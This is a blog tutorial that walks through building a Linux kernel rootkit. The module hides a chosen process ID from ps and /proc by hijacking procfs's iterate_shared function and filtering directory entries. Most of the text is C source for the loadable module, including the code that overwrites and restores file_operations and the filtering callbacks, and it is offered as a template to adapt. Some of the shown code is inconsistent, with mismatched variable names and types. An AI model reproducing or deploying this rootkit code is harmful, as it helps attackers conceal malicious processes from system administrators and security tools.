Hiding Processes for Fun and Profit
Pub 2017-01-10; LastMod 2017-01-10I’ve recently been interested in Linux rootkits, and it turns out that behind that sexy name lay simple C programs. Being curious, I started looking for publicly available rootkits and tried to compile them to see how they work: Too bad ! Most of the rootkits I came across were written for Linux versions 2.x and 3.x, and I am running version 4.8 … That meant that the code and data structures changed heavily since then, and there was little to no documentation on the subject !! So I digged through the sources of the Linux kernel and tried to figure out how things worked.
In this article I’ll explain how you can write a rootkit that hides processes for, you know, fun and profit !
Before we start, I suppose that you’re familiar with writing LKM modules. If not, I highly recommend that you read these excellent articles here and here. I also suppose that you know what a Virtual FileSystem is. If it’s all good, we can start our dive into the depths of the Linux kernel.
Ever heard of procfs ? Well, to keep it simple, it is a special filesystem. This means that this filesystem is not associated with any block device and lays exclusively in memory. As its name suggests, this filesystem exports information about processes to the user-land so it can be used by programs such as ps and top. You don’t believe me ? Here, take a look :
[...]
open("/proc", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 5
[...]
getdents(5, /* 271 entries */, 32768) = 7432
[...]
stat("/proc/17122", {st_mode=S_IFDIR|0555,st_size=0, ...}) = 0
open("/proc/17122/stat", O_RDONLY) = 6
read(6, "17122 (kworker/u16:2) S 2 0 0 0 "..., 2048) = 169
close(6)
[...]
strace
tells us that ps
opens /proc
to list its content with the getdents(3)
syscall. Once that is done, process-specific information is retrieved using the read(3)
syscall on /proc/$PID/stat
. Keep that in mind, we’ll get back to it soon.
Entries in procfs are represented by a memory structure called proc_dir_entry
, and we can find its definition in fs/proc/internal.h
in the Linux kernel source tree :
struct proc_dir_entry {
unsigned int low_ino;
umode_t mode;
nlink_t nlink;
kuid_t uid;
kgid_t gid;
loff_t size;
const struct inode_operations *proc_iops;
const struct file_operations *proc_fops;
struct proc_dir_entry *parent;
struct rb_root subdir;
struct rb_node subdir_node;
void *data;
atomic_t count; /* use count */
atomic_t in_use; /* number of callers into module in progress; */
/* negative -> it's going away RSN */
struct completion *pde_unload_completion;
struct list_head pde_openers; /* who did ->open, but not ->release */
spinlock_t pde_unload_lock; /* proc_fops checks and pde_users bumps */
u8 namelen;
char name[];
};
There’s one interesting field here: struct file_operations *proc_fops
. This structure holds pointers to functions that are called when specific operations are to be executed on a proc_dir_entry
structure, like listing the contents of /proc
. The source file fs/proc/generic.c
defines the default behavior of the kernel when it comes to procfs entries :
static const struct file_operations proc_dir_operations = {
.llseek = generic_file_llseek,
.read = generic_read_dir,
.iterate_shared = proc_readdir,
};
So far so good. Remember the getdents
function that we mentioned earlier ? If we take a look at its definition in fs/readdir.c
, we see that it calls the iterate_dir
function, which in turn calls the iterate_shared
function at some point :
SYSCALL_DEFINE3(getdents, unsigned int, fd,
struct linux_dirent __user *, dirent, unsigned int, count)
{
[...]
error = iterate_dir(f.file, &buf.ctx);
[...]
}
The prototype of the iterate_shared
function is as following :
int iterate_shared(struct file *, struct dir_context *);
The function takes as a second parameter a pointer to a struct dir_context
, which is defined in include/linux/fs
.h :
struct dir_context {
const filldir_t actor;
loff_t pos;
};
The filldir_t
type is nothing but a typedef
of a function pointer :
typedef int (*filldir_t)(struct dir_context *, const char *, int, loff_t, u64, unsigned);
This is the function that actually fetches, formats and prints stuff to the user-land. At first, it seems a little weird having the output function passed as a parameter to iterate_shared
, but it makes sense when you think that we may need to have different outputs given the context (which is why the structure is called dir_context
, I guess).
Let’s review all the things we dicussed till now (no more Linux source code excerpts from here on, promise) :
- A program, let’s say ls, issues the
getdents
syscall when listing/proc
- The
getdents
syscall function calls theiterate_shared
of the VFS iterate_shared
calls afilldir_t
function contained in thedir_context
passed in its parameters.- The
filldir_t
function does its magic, and send the output to the user-land.
Our main goal is to hijack the iterate_shared
function in order not to show our evil process. Since the filldir_t
function is the one responsible for outputting stuff to the user-land, we have to define our own evil function (which will return 0 if the second parameter is the string containing the pid we want to hide), put it in a struct dir_context
, and feed it to the original iterated_shared
function. All of this will be done by our evil iterated_shared
function.
The illustration below summarizes what our rootkit will be doing :
Of course, we need to backup the data structures we are going to hijack in order to restore the initial state of the system when we unload our rootkit :
- When loading the rootkit :
- Fetch the
proc_dir_entry
we want to hijack - Make a copy of the associated
file_operations
(backup) - Make a second copy (evil
file_ops
) - Overwrite the
iterate_shared
function in evilfile_ops
- Overwrite the
proc_dir_entry
’sfile_opertations
structure with evilfile_ops
- When unloading the rootkit :
- Fetch the
proc_dir_entry
we want to restore - Replace its
file_operations
with the backup
Easy, isn’t it ? Let’s start with the part where we backup and hijack stuff :
static struct file_operations backup_fops;
static struct file_operations new_fops;
static struct inode proc_inode;
int (*backup_iterate_shared) (struct file *, struct dir_context *);
static int __init phide_init(void)
{
pr_info("PHide: LKM succefully loaded!\n");
/* fetch the procfs entry */
struct path p;
if(kern_path("/proc", 0, &p))
return 0;
/* get the inode*/
proc_inode = p.dentry->d_inode;
/* get a copy of file_operations from inode */
proc_fops = *proc_inode->i_fop;
/* backup the file_operations */
backup_proc_fops = proc_inode->i_fop;
/* modify the copy with out evil function */
proc_fops.iterate_shared = rk_iterate_shared;
/* overwrite the proc entry's file_operations */
proc_inode->i_fop = &proc_fops;
return 0;
}
static void __exit phide_exit(void)
{
/* fetch the proc entry */
struct path p;
if(kern_path("/proc", 0, &p))
return;
/* get inode and restore file_operations */
proc_inode = p.dentry->d_inode;
proc_inode->i_fop = backup_proc_fops;
pr_info("PHide: LKM succefully unloaded!\n");
}
Now to the fun part :
static char *proc_to_hide = "1337";
static struct dir_context *backup_ctx;
static int rk_filldir_t(struct dir_context *ctx, const char *proc_name, int len,
loff_t off, u64 ino, unsigned int d_type)
{
if (strncmp(proc_name, proc_to_hide, strlen(proc_to_hide)) == 0)
return 0;
return backup_ctx->actor(backup_ctx, proc_name, len, off, ino, d_type);
}
struct dir_context rk_ctx = {
.actor = rk_filldir_t,
};
int rk_iterate_shared(struct file *file, struct dir_context *ctx)
{
int result = 0;
rk_ctx.pos = ctx->pos;
backup_ctx = ctx;
result = backup_proc_fops->iterate_shared(file, &rk_ctx);
ctx->pos = rk_ctx.pos;
return result;
}
So our rk_iterate_shared
function simply backs up the original context, replaces it with our customized context rk_ctx
, and calls the original iterate_shared
with the new context.
The rk_iterate_shared
function simply compares its second parameter with the value stored in the proc_to_hide
variable. If they match (in this case: if it’s pid 1337), the function returns 0, and if not, the original filldir_t
function is called so that other processes can still be visible to the user.
This is it. It’s all you need to hide processes from kernel-land. Of course, this is a dummy rootkit, so you have to adapt it to fit your own needs ;) You can find the complete source code in my github repo.